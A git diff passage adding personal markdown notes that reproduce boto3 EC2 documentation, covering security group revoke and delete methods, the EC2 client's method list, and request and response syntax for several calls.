+```py +response = ec2security_group.delete( + GroupName='string', + DryRun=True|False +) +``` + +--- + +### get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. +- A list containing the name of each sub-resource for this resource +Return: +- Return type: list of str + + +--- + + +### load() and reload() + +Calls `EC2.Client.describe_security_groups()` to update the attributes of the SecurityGroup resource. +- Note that the load and reload methods are the same method and can be used interchangeably. + + +**Request Syntax** + +```py +security_group.load() +security_group.reload() +``` + +Return +- None + + +--- + + + +### revoke_egress(kwargs_) and revoke_ingress(kwargs_) + + +1. `revoke_egress(kwargs_)` + - [VPC only] Removes the specified egress rules from a security group for EC2-VPC. This action does not apply to security groups for use in EC2-Classic. To remove a rule, the values that you specify (for example, ports) must match the existing rule's values exactly. + - [Default VPC] If the values you specify do not match the existing rule's values, no error is returned, and the output describes the security group rules that were not revoked. + + +2. `revoke_ingress(kwargs_)` + + - Removes the specified ingress rules from a security group. To remove a rule, the values that you specify (for example, ports) must match the existing rule's values exactly. + - [EC2-Classic , default VPC] If the values you specify do not match the existing rule's values, no error is returned, and the output describes the security group rules that were not revoked. + + + +> AWS recommends to use `DescribeSecurityGroups` to verify that the rule has been removed. + + +- Each rule consists of the protocol and the IPv4 or IPv6 CIDR range or source security group. +- For the TCP and UDP protocols, you must also specify the destination port or range of ports. +- For the ICMP protocol, you must also specify the ICMP type and code. +- If the security group rule has a description, you do not have to specify the description to revoke the rule. + + +Rule changes are propagated to instances within the security group as quickly as possible. However, a small delay might occur. + + +**Request Syntax** + +```py +response = security_group.revoke_egress( + DryRun=True|False, + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + CidrIp='string', + FromPort=123, + IpProtocol='string', + ToPort=123, + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string' +) +``` + +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'Return': True|False, + 'UnknownIpPermissions': [ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ] +} + + + + +response = security_group.revoke_ingress( + CidrIp='string', + FromPort=123, + GroupName='string', + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + IpProtocol='string', + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string', + ToPort=123, + DryRun=True|False +) +``` + +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'Return': True|False, + # Returns true if the request succeeds; otherwise, returns an error. + 'UnknownIpPermissions': [ + # The inbound rules that were unknown to the service. + # In some cases, unknownIpPermissionSet might be in a different format from the request parameter. + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ] +} +``` diff --git a/_posts/01Cloud/01AWS/0boto3code/ec2-0client.md b/_posts/01Cloud/01AWS/0boto3code/ec2-0client.md new file mode 100644 index 00000000000..412fa95be35 --- /dev/null +++ b/_posts/01Cloud/01AWS/0boto3code/ec2-0client.md @@ -0,0 +1,1277 @@ + +[toc] + + +--- + +# EC2 - client + +Table of Contents + +- EC2 + - Client + - Paginators + - Waiters + - Service Resource + - ClassicAddress + - DhcpOptions + - Image + - Instance + - InternetGateway + - KeyPair + - KeyPairInfo + - NetworkAcl + - NetworkInterface + - NetworkInterfaceAssociation + - PlacementGroup + - Route e) + - RouteTable + - RouteTableAssociation + - SecurityGroup + - Snapshot + - Subnet + - Tag + - Volume + - Vpc + - VpcPeeringConnection + - VpcAddress + + +--- + + +# EC2 - client + +_class_ EC2.Client + +- A low-level client representing Amazon Elastic Compute Cloud (EC2) +- Amazon Elastic Compute Cloud (Amazon EC2) provides secure and resizable computing capacity in the AWS cloud. +- Using Amazon EC2 eliminates the need to invest in hardware up front, so you can develop and deploy applications faster. + + +```py +import boto3 +ec2client = boto3.client('ec2') + +# available methods: +- accept_reserved_instances_exchange_quote() +- accept_transit_gateway_multicast_domain_associations() +- accept_transit_gateway_peering_attachment() +- accept_transit_gateway_vpc_attachment() +- accept_vpc_endpoint_connections() +- accept_vpc_peering_connection() +- advertise_byoip_cidr() +- allocate_address() +- allocate_hosts() +- apply_security_groups_to_client_vpn_target_network() +- assign_ipv6_addresses() +- assign_private_ip_addresses() +- associate_address() +- associate_client_vpn_target_network() +- associate_dhcp_options() +- associate_enclave_certificate_iam_role() +- associate_iam_instance_profile() +- associate_route_table() +- associate_subnet_cidr_block() +- associate_transit_gateway_multicast_domain() +- associate_transit_gateway_route_table() +- associate_vpc_cidr_block() +- attach_classic_link_vpc() +- attach_internet_gateway() +- attach_network_interface() +- attach_volume() +- attach_vpn_gateway() +- authorize_client_vpn_ingress() +- authorize_security_group_egress() +- authorize_security_group_ingress() +- bundle_instance() +- can_paginate() +- cancel_bundle_task() +- cancel_capacity_reservation() +- cancel_conversion_task() +- cancel_export_task() +- cancel_import_task() +- cancel_reserved_instances_listing() +- cancel_spot_fleet_requests() +- cancel_spot_instance_requests() +- confirm_product_instance() +- copy_fpga_image() +- copy_image() +- copy_snapshot() +- create_capacity_reservation() +- create_carrier_gateway() +- create_client_vpn_endpoint() +- create_client_vpn_route() +- create_customer_gateway() +- create_default_subnet() +- create_default_vpc() +- create_dhcp_options() +- create_egress_only_internet_gateway() +- create_fleet() +- create_flow_logs() +- create_fpga_image() +- create_image() +- create_instance_export_task() +- create_internet_gateway() +- create_key_pair() +- create_launch_template() +- create_launch_template_version() +- create_local_gateway_route() +- create_local_gateway_route_table_vpc_association() +- create_managed_prefix_list() +- create_nat_gateway() +- create_network_acl() +- create_network_acl_entry() +- create_network_insights_path() +- create_network_interface() +- create_network_interface_permission() +- create_placement_group() +- create_reserved_instances_listing() +- create_route() +- create_route_table() +- create_security_group() +- create_snapshot() +- create_snapshots() +- create_spot_datafeed_subscription() +- create_subnet() +- create_tags() +- create_traffic_mirror_filter() +- create_traffic_mirror_filter_rule() +- create_traffic_mirror_session() +- create_traffic_mirror_target() +- create_transit_gateway() +- create_transit_gateway_connect() +- create_transit_gateway_connect_peer() +- create_transit_gateway_multicast_domain() +- create_transit_gateway_peering_attachment() +- create_transit_gateway_prefix_list_reference() +- create_transit_gateway_route() +- create_transit_gateway_route_table() +- create_transit_gateway_vpc_attachment() +- create_volume() +- create_vpc() +- create_vpc_endpoint() +- create_vpc_endpoint_connection_notification() +- create_vpc_endpoint_service_configuration() +- create_vpc_peering_connection() +- create_vpn_connection() +- create_vpn_connection_route() +- create_vpn_gateway() +- delete_carrier_gateway() +- delete_client_vpn_endpoint() +- delete_client_vpn_route() +- delete_customer_gateway() +- delete_dhcp_options() +- delete_egress_only_internet_gateway() +- delete_fleets() +- delete_flow_logs() +- delete_fpga_image() +- delete_internet_gateway() +- delete_key_pair() +- delete_launch_template() +- delete_launch_template_versions() +- delete_local_gateway_route() +- delete_local_gateway_route_table_vpc_association() +- delete_managed_prefix_list() +- delete_nat_gateway() +- delete_network_acl() +- delete_network_acl_entry() +- delete_network_insights_analysis() +- delete_network_insights_path() +- delete_network_interface() +- delete_network_interface_permission() +- delete_placement_group() +- delete_queued_reserved_instances() +- delete_route() +- delete_route_table() +- delete_security_group() +- delete_snapshot() +- delete_spot_datafeed_subscription() +- delete_subnet() +- delete_tags() +- delete_traffic_mirror_filter() +- delete_traffic_mirror_filter_rule() +- delete_traffic_mirror_session() +- delete_traffic_mirror_target() +- delete_transit_gateway() +- delete_transit_gateway_connect() +- delete_transit_gateway_connect_peer() +- delete_transit_gateway_multicast_domain() +- delete_transit_gateway_peering_attachment() +- delete_transit_gateway_prefix_list_reference() +- delete_transit_gateway_route() +- delete_transit_gateway_route_table() +- delete_transit_gateway_vpc_attachment() +- delete_volume() +- delete_vpc() +- delete_vpc_endpoint_connection_notifications() +- delete_vpc_endpoint_service_configurations() +- delete_vpc_endpoints() +- delete_vpc_peering_connection() +- delete_vpn_connection() +- delete_vpn_connection_route() +- delete_vpn_gateway() +- deprovision_byoip_cidr() +- deregister_image() +- deregister_instance_event_notification_attributes() +- deregister_transit_gateway_multicast_group_members() +- deregister_transit_gateway_multicast_group_sources() +- describe_account_attributes() +- describe_addresses() +- describe_aggregate_id_format() +- describe_availability_zones() +- describe_bundle_tasks() +- describe_byoip_cidrs() +- describe_capacity_reservations() +- describe_carrier_gateways() +- describe_classic_link_instances() +- describe_client_vpn_authorization_rules() +- describe_client_vpn_connections() +- describe_client_vpn_endpoints() +- describe_client_vpn_routes() +- describe_client_vpn_target_networks() +- describe_coip_pools() +- describe_conversion_tasks() +- describe_customer_gateways() +- describe_dhcp_options() +- describe_egress_only_internet_gateways() +- describe_elastic_gpus() +- describe_export_image_tasks() +- describe_export_tasks() +- describe_fast_snapshot_restores() +- describe_fleet_history() +- describe_fleet_instances() +- describe_fleets() +- describe_flow_logs() +- describe_fpga_image_attribute() +- describe_fpga_images() +- describe_host_reservation_offerings() +- describe_host_reservations() +- describe_hosts() +- describe_iam_instance_profile_associations() +- describe_id_format() +- describe_identity_id_format() +- describe_image_attribute() +- describe_images() +- describe_import_image_tasks() +- describe_import_snapshot_tasks() +- describe_instance_attribute() +- describe_instance_credit_specifications() +- describe_instance_event_notification_attributes() +- describe_instance_status() +- describe_instance_type_offerings() +- describe_instance_types() +- describe_instances() +- describe_internet_gateways() +- describe_ipv6_pools() +- describe_key_pairs() +- describe_launch_template_versions() +- describe_launch_templates() +- describe_local_gateway_route_table_virtual_interface_group_associations() +- describe_local_gateway_route_table_vpc_associations() +- describe_local_gateway_route_tables() +- describe_local_gateway_virtual_interface_groups() +- describe_local_gateway_virtual_interfaces() +- describe_local_gateways() +- describe_managed_prefix_lists() +- describe_moving_addresses() +- describe_nat_gateways() +- describe_network_acls() +- describe_network_insights_analyses() +- describe_network_insights_paths() +- describe_network_interface_attribute() +- describe_network_interface_permissions() +- describe_network_interfaces() +- describe_placement_groups() +- describe_prefix_lists() +- describe_principal_id_format() +- describe_public_ipv4_pools() +- describe_regions() +- describe_reserved_instances() +- describe_reserved_instances_listings() +- describe_reserved_instances_modifications() +- describe_reserved_instances_offerings() +- describe_route_tables() +- describe_scheduled_instance_availability() +- describe_scheduled_instances() +- describe_security_group_references() +- describe_security_groups() +- describe_snapshot_attribute() +- describe_snapshots() +- describe_spot_datafeed_subscription() +- describe_spot_fleet_instances() +- describe_spot_fleet_request_history() +- describe_spot_fleet_requests() +- describe_spot_instance_requests() +- describe_spot_price_history() +- describe_stale_security_groups() +- describe_subnets() +- describe_tags() +- describe_traffic_mirror_filters() +- describe_traffic_mirror_sessions() +- describe_traffic_mirror_targets() +- describe_transit_gateway_attachments() +- describe_transit_gateway_connect_peers() +- describe_transit_gateway_connects() +- describe_transit_gateway_multicast_domains() +- describe_transit_gateway_peering_attachments() +- describe_transit_gateway_route_tables() +- describe_transit_gateway_vpc_attachments() +- describe_transit_gateways() +- describe_volume_attribute() +- describe_volume_status() +- describe_volumes() +- describe_volumes_modifications() +- describe_vpc_attribute() +- describe_vpc_classic_link() +- describe_vpc_classic_link_dns_support() +- describe_vpc_endpoint_connection_notifications() +- describe_vpc_endpoint_connections() +- describe_vpc_endpoint_service_configurations() +- describe_vpc_endpoint_service_permissions() +- describe_vpc_endpoint_services() +- describe_vpc_endpoints() +- describe_vpc_peering_connections() +- describe_vpcs() +- describe_vpn_connections() +- describe_vpn_gateways() +- detach_classic_link_vpc() +- detach_internet_gateway() +- detach_network_interface() +- detach_volume() +- detach_vpn_gateway() +- disable_ebs_encryption_by_default() +- disable_fast_snapshot_restores() +- disable_transit_gateway_route_table_propagation() +- disable_vgw_route_propagation() +- disable_vpc_classic_link() +- disable_vpc_classic_link_dns_support() +- disassociate_address() +- disassociate_client_vpn_target_network() +- disassociate_enclave_certificate_iam_role() +- disassociate_iam_instance_profile() +- disassociate_route_table() +- disassociate_subnet_cidr_block() +- disassociate_transit_gateway_multicast_domain() +- disassociate_transit_gateway_route_table() +- disassociate_vpc_cidr_block() +- enable_ebs_encryption_by_default() +- enable_fast_snapshot_restores() +- enable_transit_gateway_route_table_propagation() +- enable_vgw_route_propagation() +- enable_volume_io() +- enable_vpc_classic_link() +- enable_vpc_classic_link_dns_support() +- export_client_vpn_client_certificate_revocation_list() +- export_client_vpn_client_configuration() +- export_image() +- export_transit_gateway_routes() +- generate_presigned_url() +- get_associated_enclave_certificate_iam_roles() +- get_associated_ipv6_pool_cidrs() +- get_capacity_reservation_usage() +- get_coip_pool_usage() +- get_console_output() +- get_console_screenshot() +- get_default_credit_specification() +- get_ebs_default_kms_key_id() +- get_ebs_encryption_by_default() +- get_groups_for_capacity_reservation() +- get_host_reservation_purchase_preview() +- get_launch_template_data() +- get_managed_prefix_list_associations() +- get_managed_prefix_list_entries() +- get_paginator() +- get_password_data() +- get_reserved_instances_exchange_quote() +- get_transit_gateway_attachment_propagations() +- get_transit_gateway_multicast_domain_associations() +- get_transit_gateway_prefix_list_references() +- get_transit_gateway_route_table_associations() +- get_transit_gateway_route_table_propagations() +- get_waiter() +- import_client_vpn_client_certificate_revocation_list() +- import_image() +- import_instance() +- import_key_pair() +- import_snapshot() +- import_volume() +- modify_availability_zone_group() +- modify_capacity_reservation() +- modify_client_vpn_endpoint() +- modify_default_credit_specification() +- modify_ebs_default_kms_key_id() +- modify_fleet() +- modify_fpga_image_attribute() +- modify_hosts() +- modify_id_format() +- modify_identity_id_format() +- modify_image_attribute() +- modify_instance_attribute() +- modify_instance_capacity_reservation_attributes() +- modify_instance_credit_specification() +- modify_instance_event_start_time() +- modify_instance_metadata_options() +- modify_instance_placement() +- modify_launch_template() +- modify_managed_prefix_list() +- modify_network_interface_attribute() +- modify_reserved_instances() +- modify_snapshot_attribute() +- modify_spot_fleet_request() +- modify_subnet_attribute() +- modify_traffic_mirror_filter_network_services() +- modify_traffic_mirror_filter_rule() +- modify_traffic_mirror_session() +- modify_transit_gateway() +- modify_transit_gateway_prefix_list_reference() +- modify_transit_gateway_vpc_attachment() +- modify_volume() +- modify_volume_attribute() +- modify_vpc_attribute() +- modify_vpc_endpoint() +- modify_vpc_endpoint_connection_notification() +- modify_vpc_endpoint_service_configuration() +- modify_vpc_endpoint_service_permissions() +- modify_vpc_peering_connection_options() +- modify_vpc_tenancy() +- modify_vpn_connection() +- modify_vpn_connection_options() +- modify_vpn_tunnel_certificate() +- modify_vpn_tunnel_options() +- monitor_instances() +- move_address_to_vpc() +- provision_byoip_cidr() +- purchase_host_reservation() +- purchase_reserved_instances_offering() +- purchase_scheduled_instances() +- reboot_instances() +- register_image() +- register_instance_event_notification_attributes() +- register_transit_gateway_multicast_group_members() +- register_transit_gateway_multicast_group_sources() +- reject_transit_gateway_multicast_domain_associations() +- reject_transit_gateway_peering_attachment() +- reject_transit_gateway_vpc_attachment() +- reject_vpc_endpoint_connections() +- reject_vpc_peering_connection() +- release_address() +- release_hosts() +- replace_iam_instance_profile_association() +- replace_network_acl_association() +- replace_network_acl_entry() +- replace_route() +- replace_route_table_association() +- replace_transit_gateway_route() +- report_instance_status() +- request_spot_fleet() +- request_spot_instances() +- reset_ebs_default_kms_key_id() +- reset_fpga_image_attribute() +- reset_image_attribute() +- reset_instance_attribute() +- reset_network_interface_attribute() +- reset_snapshot_attribute() +- restore_address_to_classic() +- restore_managed_prefix_list_version() +- revoke_client_vpn_ingress() +- revoke_security_group_egress() +- revoke_security_group_ingress() +- run_instances() +- run_scheduled_instances() +- search_local_gateway_routes() +- search_transit_gateway_multicast_groups() +- search_transit_gateway_routes() +- send_diagnostic_interrupt() +- start_instances() +- start_network_insights_analysis() +- start_vpc_endpoint_service_private_dns_verification() +- stop_instances() +- terminate_client_vpn_connections() +- terminate_instances() +- unassign_ipv6_addresses() +- unassign_private_ip_addresses() +- unmonitor_instances() +- update_security_group_rule_descriptions_egress() +- update_security_group_rule_descriptions_ingress() +- withdraw_byoip_cidr() +``` + + + +## instances + +### accept_reserved_instances_exchange_quote(kwargs_) + +Accepts the Convertible Reserved Instance exchange quote described in the GetReservedInstancesExchangeQuote call. + +**Request Syntax** + +```py +response = ec2client.accept_reserved_instances_exchange_quote( + DryRun=True|False, + # (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. + # If you have the required permissions, the error response is DryRunOperation . + # Otherwise, it is UnauthorizedOperation . + ReservedInstanceIds=['string'], + # (_list_) -- [REQUIRED] The IDs of the Convertible Reserved Instances to exchange for another Convertible Reserved Instance of the same or higher value. + TargetConfigurations=[ + # (_list_) -- The configuration of the target Convertible Reserved Instance to exchange for your current Convertible Reserved Instances. + { + 'InstanceCount': 123, + # (integer) -- The number of instances the convertible Reserved Instance offering can be applied to. This parameter is reserved and cannot be specified in a request + 'OfferingId': 'string' + # (string) -- [REQUIRED] The Convertible Reserved Instance offering ID. + }, + ] +) +``` + +Return +- Return type: dict +- **Response Syntax** + +```py +# (dict) -- The result of the exchange and whether it was successful . +{ + 'ExchangeId': 'string' + # (string) -- The ID of the successful exchange. +} +``` + + +--- + + +## transit_gateway + +### accept_transit_gateway_multicast_domain_associations(kwargs_) + +Accepts a request to associate subnets with a transit gateway multicast domain. + +**Request Syntax** + +```py +response = ec2client.accept_transit_gateway_multicast_domain_associations( + TransitGatewayMulticastDomainId='string', + # (_string_) -- The ID of the transit gateway multicast domain. + TransitGatewayAttachmentId='string', + # (_string_) -- The ID of the transit gateway attachment. + SubnetIds=[ + 'string', + ], + # The IDs of the subnets to associate with the transit gateway multicast domain. + DryRun=True|False + # (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. + # If you have the required permissions, the error response is DryRunOperation . + # Otherwise, it is UnauthorizedOperation . +) +``` + +Return +- Return type: dict +- **Response Syntax** + +```py +{ + 'Associations': { + # Describes the multicast domain associations. + 'TransitGatewayMulticastDomainId': 'string', + 'TransitGatewayAttachmentId': 'string', + 'ResourceId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering', + # (string) -- The type of resource, for example a VPC attachment. + 'ResourceOwnerId': 'string', + 'Subnets': [ + # (list) --The subnets associated with the multicast domain. + { + # Describes the subnet association with the transit gateway multicast domain. + 'SubnetId': 'string', + 'State': 'pendingAcceptance'|'associating'|'associated'|'disassociating'|'disassociated'|'rejected'|'failed' + # The state of the subnet association. + }, + ] + } +} +``` + +--- + +### accept_transit_gateway_peering_attachment(kwargs_) +- Accepts a transit gateway peering attachment request. +- The peering attachment must be in the pendingAcceptance state. + +**Request Syntax** + +```py +response = ec2client.accept_transit_gateway_peering_attachment( + TransitGatewayAttachmentId='string', + DryRun=True|False +) +``` + +Parameters + +- **TransitGatewayAttachmentId** (_string_) -- [REQUIRED] The ID of the transit gateway attachment. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return +- Return type: dict +- **Response Syntax** + +```py +{ + 'TransitGatewayPeeringAttachment': { + 'TransitGatewayAttachmentId': 'string', + 'RequesterTgwInfo': { + 'TransitGatewayId': 'string', + 'OwnerId': 'string', + 'Region': 'string' + }, + 'AccepterTgwInfo': { + 'TransitGatewayId': 'string', + 'OwnerId': 'string', + 'Region': 'string' + }, + 'Status': { + 'Code': 'string', + 'Message': 'string' + }, + 'State': 'initiating'|'initiatingRequest'|'pendingAcceptance'|'rollingBack'|'pending'|'available'|'modifying'|'deleting'|'deleted'|'failed'|'rejected'|'rejecting'|'failing', + 'CreationTime': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} +``` + +**Response Structure** + +- _(dict) --_ + + - **TransitGatewayPeeringAttachment** _(dict) --_ + + The transit gateway peering attachment. + + - **TransitGatewayAttachmentId** (string) -- The ID of the transit gateway peering attachment. + - **RequesterTgwInfo** _(dict) --_ + + Information about the requester transit gateway. + - **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + - **OwnerId** _(string) --_ + + The AWS account ID of the owner of the transit gateway. + + - **Region** _(string) --_ + + The Region of the transit gateway. + + - **AccepterTgwInfo** _(dict) --_ + + Information about the accepter transit gateway. + - **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + - **OwnerId** _(string) --_ + + The AWS account ID of the owner of the transit gateway. + + - **Region** _(string) --_ + + The Region of the transit gateway. + + - **Status** _(dict) --_ + + The status of the transit gateway peering attachment. + - **Code** _(string) --_ + + The status code. + + - **Message** _(string) --_ + + The status message, if applicable. + + - **State** (string) -- The state of the transit gateway peering attachment. Note that the initiating state has been deprecated. + - **CreationTime** _(datetime) --_ + + The time the transit gateway peering attachment was created. + - **Tags** (list) --The tags for the transit gateway peering attachment. + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +--- + +### accept_transit_gateway_vpc_attachment(kwargs_) + +- Accepts a request to attach a VPC to a transit gateway. +- The VPC attachment must be in the `pendingAcceptance` state. + - Use `DescribeTransitGatewayVpcAttachments` to view your pending VPC attachment requests. + - Use `RejectTransitGatewayVpcAttachment` to reject a VPC attachment request. + +**Request Syntax** + +```py +response = ec2client.accept_transit_gateway_vpc_attachment( + TransitGatewayAttachmentId='string', + # (_string_) -- [REQUIRED] The ID of the attachment. + DryRun=True|False + # (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return +) +``` + + +Return +- Return type: dict +- **Response Syntax** + +```py +{ + 'TransitGatewayVpcAttachment': { + 'TransitGatewayAttachmentId': 'string', + 'TransitGatewayId': 'string', + 'VpcId': 'string', + 'VpcOwnerId': 'string', + 'State': 'initiating'|'initiatingRequest'|'pendingAcceptance'|'rollingBack'|'pending'|'available'|'modifying'|'deleting'|'deleted'|'failed'|'rejected'|'rejecting'|'failing', + # (string) -- The state of the VPC attachment. Note that the initiating state has been deprecated. + 'SubnetIds': [ + 'string', + ], + 'CreationTime': datetime(2015, 1, 1), + 'Options': { + 'DnsSupport': 'enable'|'disable', # Indicates whether DNS support is enabled. + 'Ipv6Support': 'enable'|'disable', + 'ApplianceModeSupport': 'enable'|'disable' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + # Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + }, + ] + } +} +``` + +--- + + +## vpc endpoint + +### accept_vpc_endpoint_connections(kwargs_) + +Accepts one or more interface VPC endpoint connection requests to your VPC endpoint service. + +**Request Syntax** + +```py +response = ec2client.accept_vpc_endpoint_connections( + DryRun=True|False, + ServiceId='string', + VpcEndpointIds=[ + 'string', + # The IDs of one or more interface VPC endpoints. + ] +) +``` + +Return +- Return type: dict +- **Response Syntax** + +```py +{ + 'Unsuccessful': [ + { + 'Error': { + 'Code': 'string', + 'Message': 'string' + }, + 'ResourceId': 'string' + }, + ] +} +``` + +--- + +## vpc_peering + +### accept_vpc_peering_connection(kwargs_) + +- Accept a VPC peering connection request. +- To accept a request, the VPC peering connection must be in the pending-acceptance state, and you must be the owner of the peer VPC. +- Use `DescribeVpcPeeringConnections` to view your outstanding VPC peering connection requests. + +> For an inter-Region VPC peering connection request, you must accept the VPC peering connection in the Region of the accepter VPC. + +**Request Syntax** + +```py + +# DescribeVpcPeeringConnections +paginator = ec2client.get_paginator('describe_vpc_peering_connections') + +# Accept a VPC peering connection request +response = ec2client.accept_vpc_peering_connection( + DryRun=True|False, + VpcPeeringConnectionId='string' + # (_string_) -- The ID of the VPC peering connection. You must specify this parameter in the request. +) +``` + + +Return +- Return type: dict +- **Response Syntax** + +```py +{ + 'VpcPeeringConnection': { + 'AccepterVpcInfo': { + 'CidrBlock': 'string', + 'Ipv6CidrBlockSet': [ + { + 'Ipv6CidrBlock': 'string' + }, + ], + 'CidrBlockSet': [ + { + 'CidrBlock': 'string' + }, + ], + 'OwnerId': 'string', + 'PeeringOptions': { + 'AllowDnsResolutionFromRemoteVpc': True|False, + 'AllowEgressFromLocalClassicLinkToRemoteVpc': True|False, + 'AllowEgressFromLocalVpcToRemoteClassicLink': True|False + }, + 'VpcId': 'string', + 'Region': 'string' + }, + 'ExpirationTime': datetime(2015, 1, 1), + 'RequesterVpcInfo': { + 'CidrBlock': 'string', + 'Ipv6CidrBlockSet': [ + { + 'Ipv6CidrBlock': 'string' + }, + ], + 'CidrBlockSet': [ + { + 'CidrBlock': 'string' + }, + ], + 'OwnerId': 'string', + 'PeeringOptions': { + 'AllowDnsResolutionFromRemoteVpc': True|False, + 'AllowEgressFromLocalClassicLinkToRemoteVpc': True|False, + 'AllowEgressFromLocalVpcToRemoteClassicLink': True|False + }, + 'VpcId': 'string', + 'Region': 'string' + }, + 'Status': { + 'Code': 'initiating-request'|'pending-acceptance'|'active'|'deleted'|'rejected'|'failed'|'expired'|'provisioning'|'deleting', + 'Message': 'string' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VpcPeeringConnectionId': 'string' + } +} +``` + + + +### advertise_byoip_cidr(kwargs_) + +- Advertises an IPv4 or IPv6 address range that is provisioned for use with your AWS resources through bring your own IP addresses (BYOIP). + +- You can perform this operation at most once every 10 seconds, even if you specify different address ranges each time. + +We recommend that you stop advertising the BYOIP CIDR from other locations when you advertise it from AWS. +- To minimize down time, you can configure your AWS resources to use an address from a BYOIP CIDR before it is advertised, and then simultaneously stop advertising it from the current location and start advertising it through AWS. + +It can take a few minutes before traffic to the specified addresses starts routing to AWS because of BGP propagation delays. + +To stop advertising the BYOIP CIDR, use `WithdrawByoipCidr` . + +**Request Syntax** + +```py +response = ec2client.advertise_byoip_cidr( + Cidr='string', + # (_string_) -- [REQUIRED] The address range, in CIDR notation. This must be the exact range that you provisioned. You can't advertise only a portion of the provisioned range. + DryRun=True|False +) +``` + + +Return +- Return type: dict +- **Response Syntax** + +```py +{ + 'ByoipCidr': { + 'Cidr': 'string', + 'Description': 'string', + 'StatusMessage': 'string', + # (string) -- Upon success, contains the ID of the address pool. Otherwise, contains an error message. + 'State': 'advertised'|'deprovisioned'|'failed-deprovision'|'failed-provision'|'pending-deprovision'|'pending-provision'|'provisioned'|'provisioned-not-publicly-advertisable' + } +} +``` + + +--- + +## AWS account. + + +### allocate_address(kwargs_) + +- Allocates an Elastic IP address to your AWS account. +- After you allocate the Elastic IP address , associate it with an instance or network interface. + - allocate an Elastic IP address from + - an address pool owned by AWS + - or from an address pool created from a public IPv4 address range that you have brought to AWS for use with your AWS resources using bring your own IP addresses (BYOIP). + - An Elastic IP address is for use either in the EC2-Classic platform or in a VPC. + - By default, you can allocate + - 5 Elastic IP addresses for EC2-Classic per Region + - 5 Elastic IP addresses for EC2-VPC per Region. + - You can allocate a carrier IP address which is a public IP address from a telecommunication carrier, to a network interface which resides in a subnet in a Wavelength Zone (for example an EC2 instance). + +- After you release an Elastic IP address , it is released to the IP address pool and can be allocated to a different AWS account. + - [EC2-VPC] If you release an Elastic IP address, you might be able to recover it. + - You cannot recover an Elastic IP address that you released after it is allocated to another AWS account. + - You cannot recover an Elastic IP address for EC2-Classic. + - To attempt to recover an Elastic IP address that you released, specify it in this operation. + + + +**Request Syntax** + +```py +response = ec2client.allocate_address( + Domain='vpc'|'standard', + # (_string_) -- whether the Elastic IP address is for use with instances in a VPC or instances in EC2-Classic. + # Default: If the Region supports EC2-Classic, the default is standard . Otherwise, the default is vpc . + Address='string', + # (_string_) -- [EC2-VPC] The Elastic IP address to recover or an IPv4 address from an address pool. + PublicIpv4Pool='string', + # (_string_) -- The ID of an address pool that you own. + # Use this parameter to let Amazon EC2 select an address from the address pool. + # To specify a specific address from the address pool, use the Address parameter instead. + 